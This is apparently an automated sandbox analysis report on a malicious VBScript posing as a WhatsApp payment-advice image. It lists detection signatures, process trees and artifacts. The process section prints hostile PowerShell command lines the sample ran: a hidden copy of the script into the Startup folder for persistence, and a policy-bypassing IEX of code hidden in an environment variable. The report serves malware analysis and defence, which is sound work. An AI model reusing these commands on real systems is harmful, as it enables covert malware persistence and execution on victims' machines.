Analysis

  • max time kernel
    149s
  • max time network
    99s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    08/05/2026, 12:27

General

  • Target
    WhatsApp IMG 07-05-26 Payment advice.vbs
  • Size 2.7MB
  • Sample260508-pmsdyscw5r
  • SHA256 51cf4209be2c160f3182f2488e68eec40edd7e9f9f76224fa4b66d4ec74a35bd
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Drops startup file 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\WhatsApp IMG 07-05-26 Payment advice.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3988
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c Copy-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\WhatsApp IMG 07-05-26 Payment advice.vbs' -Destination 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WhatsApp IMG 07-05-26 Payment advice.vbs' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Drops startup file
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1376
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "IEX $env:INTERNAL_DB_CACHE;[Environment]::SetEnvironmentVariable('INTERNAL_DB_CACHE',$null,'User')"
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4164

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 43244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 3a3dd2d4bdfc17d64262f4dc86ceb242ecf743f2da0412eb60074557a741a5eb
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_glzbj43n.iwe.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_glzbj43n.iwe.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/1376-8-0x00000215A7C10000-0x00000215A7C32000-memory.dmp

        memory/1376-9-0x00000215A7B50000-0x00000215A7B60000-memory.dmp

        memory/1376-21-0x00000215A7B30000-0x00000215A7B42000-memory.dmp

        memory/1376-20-0x000002158F480000-0x000002158F48C000-memory.dmp

        memory/1376-1-0x00000215A7B50000-0x00000215A7B60000-memory.dmp

        memory/1376-0-0x00000215A7B50000-0x00000215A7B60000-memory.dmp

        memory/3988-11-0x000001C5974D0000-0x000001C5974DC000-memory.dmp

        memory/3988-10-0x000001C595BD0000-0x000001C595C7E000-memory.dmp

        memory/4164-24-0x000002894A140000-0x000002894A14C000-memory.dmp

        memory/4164-25-0x0000028962960000-0x0000028962972000-memory.dmp

        memory/4164-31-0x000002894A140000-0x000002894A14C000-memory.dmp